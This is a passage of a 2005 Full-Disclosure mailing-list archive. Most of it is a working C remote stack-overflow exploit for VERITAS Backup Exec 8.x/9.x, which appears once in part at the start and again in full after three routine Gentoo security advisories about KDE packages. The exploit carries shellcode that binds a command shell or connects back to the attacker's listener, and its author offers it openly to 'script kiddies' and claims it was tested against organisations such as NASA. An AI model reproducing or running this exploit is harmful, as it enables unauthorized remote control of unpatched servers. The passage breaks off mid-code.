"\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89" "\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03" "\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F" "\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88" "\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61" "\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9" "\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C" "\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8" "\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68" "\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F" "\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23" "\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89" "\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9" "\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77" "\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77" "\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77" "\x58\x68\x61\x63\x6B\x90"; static char payload[800]; char v91sp0sp1[]="\xFF\x50\x11\x40"; char esisp0sp1[]="\xA1\xFF\x42\x01"; char v85[]="\xFF\x38\x11\x40"; char esiold[]="\xB9\x08\x43\x01"; char talk[] = "\x02\x00\x32\x00" "\x90\x90\x90\x90" "\x31\xF6\xC1\xEC\x0C\xC1\xE4\x0C\x89\xE7\x89\xFB\x6A\x01\x8B\x74" "\x24\xFE\x31\xD2\x52\x42\xC1\xE2\x10\x52\x57\x56\xB8\x00\x00\x00" "\x00\xC1\xE8\x08\xFF\x10\x85\xC0\x79\x07\x89\xDC\x4E\x85\xF6\x75" "\xE1\xFF\xE7\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x00" "1.1.1.1.1.1" "\x00" "\xEB\x80"; #ifdef WIN32 WSADATA wsadata; #endif void ver(); void usage(char* us); int main(int argc,char *argv[]) { ver(); unsigned long gip; unsigned short gport; char *os; if (argc>6||argc<3||atoi(argv[1])>2||atoi(argv[1])<1){usage(argv[0]);return -1;} if (argc==5){usage(argv[0]);return -1;} if (strlen(argv[2])<7){usage(argv[0]);return -1;} if (argc==6) { if (strlen(argv[4])<7){usage(argv[0]);return -1;} } #ifndef WIN32 if (argc==6) { gip=inet_addr(argv[4])^(long)0x00000000; gport=htons(atoi(argv[5]))^(short)0x0000; } #define Sleep sleep #define SOCKET int #define closesocket(s) close(s) #else if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup error\n");return -1;} if (argc==6) { gip=inet_addr(argv[4])^(ULONG)0x00000000; gport=htons(atoi(argv[5]))^(USHORT)0x0000; } #endif int ip=htonl(inet_addr(argv[2])), port; if (argc==4||argc==6){port=atoi(argv[3]);} else port=6101; SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server; s=socket(AF_INET,SOCK_STREAM,0); if (s==-1){printf("[+] socket() error\n");return -1;} if (atoi(argv[1])==1) {memcpy(&talk[37], &v91sp0sp1, 4);memcpy(&talk[72], &esisp0sp1, 4);os="Backup Exec v9.1.4691.1\n[+] Backup Exec v9.1.4691.0";} else {memcpy(&talk[37], &v85, 4);memcpy(&talk[72], &esiold, 4);os="Backup Exec v8.5.3572";} if (argc==6) { memcpy(&scode1[282], &gip, 4); memcpy(&scode1[289], &gport, 2); strcat(payload,scode1); } else strcat(payload,scode2); printf("[+] target(s): %s\n",os); server.sin_family=AF_INET; server.sin_addr.s_addr=htonl(ip); server.sin_port=htons(port); connect(s,( struct sockaddr *)&server,sizeof(server)); timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask); switch(select(s+1,NULL,&mask,NULL,&timeout)) { case -1: {printf("[+] select() error\n");closesocket(s);return -1;} case 0: {printf("[+] connect() error\n");closesocket(s);return -1;} default: if(FD_ISSET(s,&mask)) { printf("[+] connected, constructing the payload...\n"); if (send(s,talk,sizeof(talk)-1,0)==-1) { printf("[+] sending error 1, the server prolly rebooted.\n");return -1;} #ifdef WIN32 Sleep(10); #else Sleep(1/100); #endif if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 2, the server is patched.\n");return -1;} #ifdef WIN32 Sleep(10); #else Sleep(1/100); #endif if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 3, the server is patched.\n");return -1;} #ifdef WIN32 Sleep(10); #else Sleep(1/100); #endif if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 4, the server is patched.\n");return -1;} #ifdef WIN32 Sleep(10); #else Sleep(1/100); #endif if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 5, the server is patched.\n");return -1;} #ifdef WIN32 Sleep(10); #else Sleep(1/100); #endif if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 6, the server is patched.\n");return -1;} #ifdef WIN32 Sleep(10); #else Sleep(1/100); #endif if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 7, the server is patched.\n");return -1;} #ifdef WIN32 Sleep(10); #else Sleep(1/100); #endif if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 8, the server is patched.\n");return -1;} #ifdef WIN32 Sleep(1000); #else Sleep(1); #endif printf("[+] size of payload: %d\n",(sizeof(talk)-1)+strlen(payload)*7); printf("[+] payload sent.\n"); return 0; } } closesocket(s); #ifdef WIN32 WSACleanup(); #endif return 0; } void usage(char* us) { printf("USAGE:\n"); printf(" [+] . 101_BXEC.exe Version VulnIP\n"); printf(" [+] . 101_BXEC.exe Version VulnIP VulnPORT\n"); printf(" [+] . 101_BXEC.exe Version VulnIP VulnPORT GayIP GayPORT\n"); printf("VERSION: \n"); printf(" [+] 1. Backup Exec v9.1.4691.SP1\n"); printf(" [+] 1. Backup Exec v9.1.4691.SP0\n"); printf(" [+] 2. Backup Exec v8.5.3572\n"); printf("TARGET: \n"); printf(" [+] . 2k3/2k/XP/NT4 universal (*)\n"); printf("NOTE: \n"); printf(" The exploit bind a cmdshell port 101 or\n"); printf(" reverse a cmdshell on your listener.\n"); printf(" A wildcard (*) mean tested working.\n"); printf(" Compilation msvc6, cygwin, Linux.\n"); return; } void ver() { printf(" \n"); printf(" ================================================[0.4]========\n"); printf(" =================VERITAS Backup Exec 8.x/9.x=================\n"); printf(" =========Agent Browser Service, Remote Stack Overflow========\n"); printf(" ======coded by class101=============[Hat-Squad.com 2005]=====\n"); printf(" =============================================================\n"); printf(" \n"); } ------------------------------------------------------------- class101 Hat-Squad.com ------------------------------------------------------------- -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/17a4f714/attachment.html From jaervosz at gentoo.org Tue Jan 11 13:06:17 2005 From: jaervosz at gentoo.org (Sune Kloppenborg Jeppesen) Date: Tue, 11 Jan 2005 14:06:17 +0100 Subject: [Full-Disclosure] [ GLSA 200501-16 ] Konqueror: Java sandbox vulnerabilities Message-ID: <200501111406.25353.jaervosz@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-16 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Konqueror: Java sandbox vulnerabilities Date: January 11, 2005 Bugs: #72750 ID: 200501-16 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== The Java sandbox environment in Konqueror can be bypassed to access arbitrary packages, allowing untrusted Java applets to perform unrestricted actions on the host system. Background ========== KDE is a feature-rich graphical desktop environment for Linux and Unix-like Operating Systems. Konqueror is the KDE web browser and file manager. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 kde-base/kdelibs < 3.3.2 >= 3.3.2 Description =========== Konqueror contains two errors that allow JavaScript scripts and Java applets to have access to restricted Java classes. Impact ====== A remote attacker could embed a malicious Java applet in a web page and entice a victim to view it. This applet can then bypass security restrictions and execute any command, or access any file with the rights of the user running Konqueror. Workaround ========== There is no known workaround at this time. Resolution ========== All kdelibs users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose kde-base/kdelibs Note: There is currently no fixed stable version for sparc. References ========== [ 1 ] KDE Security Advisory: Konqueror Java Vulnerability http://www.kde.org/info/security/advisory-20041220-1.txt [ 2 ] CAN 2004-1145 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1145 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-16.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/3759f1e6/attachment.bin From jaervosz at gentoo.org Tue Jan 11 13:18:11 2005 From: jaervosz at gentoo.org (Sune Kloppenborg Jeppesen) Date: Tue, 11 Jan 2005 14:18:11 +0100 Subject: [Full-Disclosure] [ GLSA 200501-17 ] KPdf, KOffice: More vulnerabilities in included Xpdf Message-ID: <200501111418.16592.jaervosz@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-17 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: KPdf, KOffice: More vulnerabilities in included Xpdf Date: January 11, 2005 Bugs: #75203, #75204 ID: 200501-17 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== KPdf and KOffice both include vulnerable Xpdf code to handle PDF files, making them vulnerable to the execution of arbitrary code if a user is enticed to view a malicious PDF file. Background ========== KPdf is a KDE-based PDF viewer included in the kdegraphics package. KOffice is an integrated office suite for KDE. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 app-office/koffice < 1.3.5-r1 >= 1.3.5-r1 2 kde-base/kdegraphics < 3.3.2-r1 >= 3.3.2-r1 *>= 3.2.3-r3 ------------------------------------------------------------------- 2 affected packages on all of their supported architectures. ------------------------------------------------------------------- Description =========== KPdf and KOffice both include Xpdf code to handle PDF files. Xpdf is vulnerable to multiple new integer overflows, as described in GLSA 200412-24. Impact ====== An attacker could entice a user to open a specially-crafted PDF file, potentially resulting in the execution of arbitrary code with the rights of the user running the affected utility. Workaround ========== There is no known workaround at this time. Resolution ========== All KPdf users should upgrade to the latest version of kdegraphics: # emerge --sync # emerge --ask --oneshot --verbose kde-base/kdegraphics Note: There is currently no fixed stable 3.3.x version for sparc. All KOffice users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose app-office/koffice References ========== [ 1 ] GLSA 200412-24 http://www.gentoo.org/security/en/glsa/glsa-200412-24.xml [ 2 ] CAN-2004-1125 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1125 [ 3 ] KDE Security Advisory: kpdf Buffer Overflow Vulnerability http://kde.org/info/security/advisory-20041223-1.txt [ 4 ] KOffice XPDF Integer Overflow 2 http://koffice.kde.org/security/2004_xpdf_integer_overflow_2.php Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-17.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/ec9cce16/attachment.bin From jaervosz at gentoo.org Tue Jan 11 13:33:11 2005 From: jaervosz at gentoo.org (Sune Kloppenborg Jeppesen) Date: Tue, 11 Jan 2005 14:33:11 +0100 Subject: [Full-Disclosure] [ GLSA 200501-18 ] KDE FTP KIOslave: Command injection Message-ID: <200501111433.15873.jaervosz@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-18 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: KDE FTP KIOslave: Command injection Date: January 11, 2005 Bugs: #73759 ID: 200501-18 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== The FTP KIOslave contains a bug allowing users to execute arbitrary FTP commands. Background ========== KDE is a feature-rich graphical desktop environment for Linux and Unix-like Operating Systems. KDE provided KIOslaves for many protocols in the kdelibs package, one of them being FTP. These are used by KDE applications such as Konqueror. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 kde-base/kdelibs < 3.3.2-r2 >= 3.3.2-r2 *>= 3.2.3-r5 Description =========== The FTP KIOslave fails to properly parse URL-encoded newline characters. Impact ====== An attacker could exploit this to execute arbitrary FTP commands on the server and due to similiarities between the FTP and the SMTP protocol, this vulnerability also allows an attacker to connect to a SMTP server and issue arbitrary commands, for example sending an email. Workaround ========== There is no known workaround at this time. Resolution ========== All kdelibs users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose kde-base/kdelibs Note: There is currently no fixed stable 3.3.x version for sparc. References ========== [ 1 ] KDE Security Advisory: ftp kioslave command injection http://www.kde.org/info/security/advisory-20050101-1.txt [ 2 ] CAN-2004-1165 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1165 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-18.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/9e0e97c6/attachment.bin From class101 at hat-squad.com Tue Jan 11 13:56:07 2005 From: class101 at hat-squad.com (class 101) Date: Tue, 11 Jan 2005 14:56:07 +0100 Subject: [Full-Disclosure] VERITAS Backup Exec 8.x/9.x Remote UniversalExploit References: <004001c4f7d2$366b21c0$0200a8c0@box> Message-ID: <00fc01c4f7e5$4d780820$0200a8c0@box> you can get my clean code there dfind.kd-team.com Bye and good urgent patching ;) ------------------------------------------------------------- class101 Hat-Squad.com ------------------------------------------------------------- ----- Original Message ----- From: class 101 To: full-disclosure at lists.netsys.com ; bugtraq at securityfocus.com Sent: Tuesday, January 11, 2005 12:39 PM Subject: [Full-Disclosure] VERITAS Backup Exec 8.x/9.x Remote UniversalExploit Because k-otik are poor looser not respecting the publication of metasploit 2.3 , im forced to post my code. /* VERITAS Backup Exec v9.1.4691.SP1 v9.1.4691.SP0 v8.5.3572 Agent Browser Service, Remote Stack Overflow Highly Critical All credits to: -iDEFENSE(discovery-www.iDEFENSE.com), -Thor Doomen(iat-syscall[at]inbox.lv), -H.D. Moore(scode-www.metasploit.com), -Matt Miller(scode-www.hick.org) ExtraNotes: All my tests/debugs where a bit long (some days) firstly due to the big size of Backup Exec and the unstability accross differents windows versions to make working that IAT method with 100% success and the difficulty to debug it. (As a recall, due to the 60 bytes only free, a tiny shellcode is send in first to scan the recv function of benetns.exe and jump to the data submitted during the second send, thanx syscall. Let's think large now. Imagine that you exploits the hole and you submit the shellcode 5 minutes later, the service will hang on to death of course until a kill, now imagine that you exploits the hole and you submit the shellcode too faslty for the, computer processing, the shellcode can be missed, wont be executed again, sometimes yes/no, but really unstable. Hopefully (or unfortunely for you admin :>) I'm here to optimize it and make it 100% working, universal, stable whatever you want for the good fortune of script kiddies and to show what mean working to my good friends ka-odick :> Tries Machine Bind / Rverse / Success (2x) Win2k SP4 Server English 10 10 20 (1x) Win2k SP4 Pro English 5 5 10 (1x) WinXP SP1 Pro English 5 5 10 (1x) WinXP SP1a Pro English 5 5 10 (3x) Win2003 SP0 Server English 5 5 10 (1x) Win2003 SP0 Server Ita. 5 5 10 (1x) NT4 Server English. 5 5 10 = Universal v0.1: C code based on Thor Doomen's code posted at the metasploit mailing list, excellent in the method, but super unstable to not say not working when used, made some changes. v0.2: fix of the first big problem , the missed shellcode accross differents windows, fixed by flooding benetns with more sends, timer really small, this is important. padding 1 nop to the reverse shellcode as needed, else crash on reverse. v0.3: universal esi call across v9.1 SP0 and SP1, for the good fortune of script kiddies. v0.4: As a warning, this poc v0.4 as been tested working by an anonymous tester (never mentionned there) on some organisations such nasa, states/edus, it's urgent to update 1 month after the advisory, sleepers. Tips: -make sure that your ip is safe of null bytes in reverse mode. -make sure that you targets the good version of Backup Exec, else you crash it. -Backup Exec v10.0 is now available, get it at www.veritas.com. -Visit dfind.kd-team.com for a patched benetns.exe, quick solution for an urgent update. (extracted from the hotfix at www.veritas.com) Backup Exec 9.x is tested safe after replacing the .exe Greetings: Nima Majidi Behrang Fouladi Pejman keystr0ke JGS DiabloHorn kimatrix NaV New Metasploit v2.3 (http://www.metasploit.com/) and all idlers of #n3ws on Eris Free Network. by class101 [at] hat-squad.com answering to all stupid questions that I got & will have, no I'm not persian and you don't care where I come from. 04 January 2005 */ #include #include #include #ifdef WIN32 #include "winsock2.h" #pragma comment(lib, "ws2_32") #else #include #include #include #include #include #include #include #include #include #include #endif char scode1[]= file://Matt Millers 'skape' shellcode. "\x90" // pad needed their for me, if you get scode detection problems on slow connections, file://try to add more NOP and make sure to update the memcpys later in the code. "\xeb\x6e\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0d\x56\x8b\x40\x0c\x8b\x70\x1c\xad" "\x8b\x40\x08\x5e\xc3\x8b\x40\x34\x83\xc0\x7c\x8b\x40\x3c\xc3\x60\x8b\x6c\x24\x24" "\x8b\x45\x3c\x8b\x7c\x05\x78\x03\xfd\x8b\x4f\x18\x8b\x5f\x20\x03\xdd\xe3\x33\x49" "\x8b\x34\x8b\x03\xf5\x33\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x03\xd0\xeb" "\xf4\x3b\x54\x24\x28\x75\xe2\x8b\x5f\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5f\x1c\x03" "\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa9\xff" "\xff\xff\x89\x07\x83\xc4\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72" "\xfe\xb3\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa\x60\xcb" "\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff" "\xff\x5e\xe8\x47\xff\xff\xff\x8b\xd0\x83\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10" "\xe8\xa5\xff\xff\xff\x83\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f" "\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8\x01\x63" "\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0" "\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0" "\x68\x7f\x01\x01\x01\xb8\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50" "\x53\x56\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6" "\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d\x77\x44" "\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50" "\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55\x20\xff\x55\x0c\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; char scode2[]= file://HD.Moore Shellcode file://"\x90" uncomment this if you have scode detection problem on slows connections or try more NOP, file://but for me and some other guys its already fine like this. "\xEB" "\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF" "\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D" "\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9" "\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C" "\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89" "\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03" "\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F" "\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88" "\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61" "\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9" "\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C" "\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8" "\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68" "\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F" "\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23" "\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89" "\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9" "\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77" "\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77" "\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77" "\x58\x68\x61\x63\x6B\x90"; static char payload[800]; char v91sp0sp1[]="\xFF\x50\x11\x40"; char esisp0sp1[]="\xA1\xFF\x42\x01"; char v85[]="\xFF\x38\x11\x40"; char esiold[]="\xB9\x08\x43\x01"; char talk[] = "\x02\x00\x32\x00" "\x90\x90\x90\x90" "\x31\xF6\xC1\xEC\x0C\xC1\xE4\x0C\x89\xE7\x89\xFB\x6A\x01\x8B\x74" "\x24\xFE\x31\xD2\x52\x42\xC1\xE2\x10\x52\x57\x56\xB8\x00\x00\x00" "\x00\xC1\xE8\x08\xFF\x10\x85\xC0\x79\x07\x89\xDC\x4E\x85\xF6\x75" "\xE1\xFF\xE7\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x00" "1.1.1.1.1.1" "\x00" "\xEB\x80"; #ifdef WIN32 WSADATA wsadata; #endif void ver(); void usage(char* us); int main(int argc,char *argv[]) { ver(); unsigned long gip; unsigned short gport; char *os; if (argc>6||argc<3||atoi(argv[1])>2||atoi(argv[1])<1){usage(argv[0]);return -1;} if (argc==5){usage(argv[0]);return -1;} if (strlen(argv[2])<7){usage(argv[0]);return -1;} if (argc==6) { if (strlen(argv[4])<7){usage(argv[0]);return -1;} } #ifndef WIN32 if (argc==6) { gip=inet_addr(argv[4])^(long)0x00000000; gport=htons(atoi(argv[5]))^(short)0x0000; } #define Sleep sleep #define SOCKET int #define closesocket(s) close(s) #else if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup error\n");return -1;} if (argc==6) { gip=inet_addr(argv[4])^(ULONG)0x00000000; gport=htons(atoi(argv[5]))^(USHORT)0x0000; } #endif int ip=htonl(inet_addr(argv[2])), port; if (argc==4||argc==6){port=atoi(argv[3]);} else port=6101; SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server; s=socket(AF_INET,SOCK_STREAM,0); if (s==-1){printf("[+] socket() error\n");return -1;} if (atoi(argv[1])==1) {memcpy(&talk[37], &v91sp0sp1, 4);memcpy(&talk[72], &esisp0sp1, 4);os="Backup Exec v9.1.4691.1\n[+] Backup Exec v9.1.4691.0";} else {memcpy(&talk[37], &v85, 4);memcpy(&talk[72], &esiold, 4);os="Backup Exec v8.5.3572";} if (argc==6) { memcpy(&scode1[282], &gip, 4); memcpy(&scode1[289], &gport, 2); strcat(payload,scode1); } else strcat(payload,scode2); printf("[+] target(s): %s\n",os); server.sin_family=AF_INET; server.sin_addr.s_addr=htonl(ip); server.sin_port=htons(port); connect(s,( struct sockaddr *)&server,sizeof(server)); timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask); switch(select(s+1,NULL,&mask,NULL,&timeout)) { case -1: {printf("[+] select() error\n");closesocket(s);return -1;} case 0: {printf("[+] connect() error\n");closesocket(s);return -1;} default: if(FD_ISSET(s,&mask)) { printf("[+] connected, constructing the payload...\n"); if (send(s,talk,sizeof(talk)-1,0)==-1) { printf("[+] sending error 1, the server prolly rebooted.\n");return -1;} 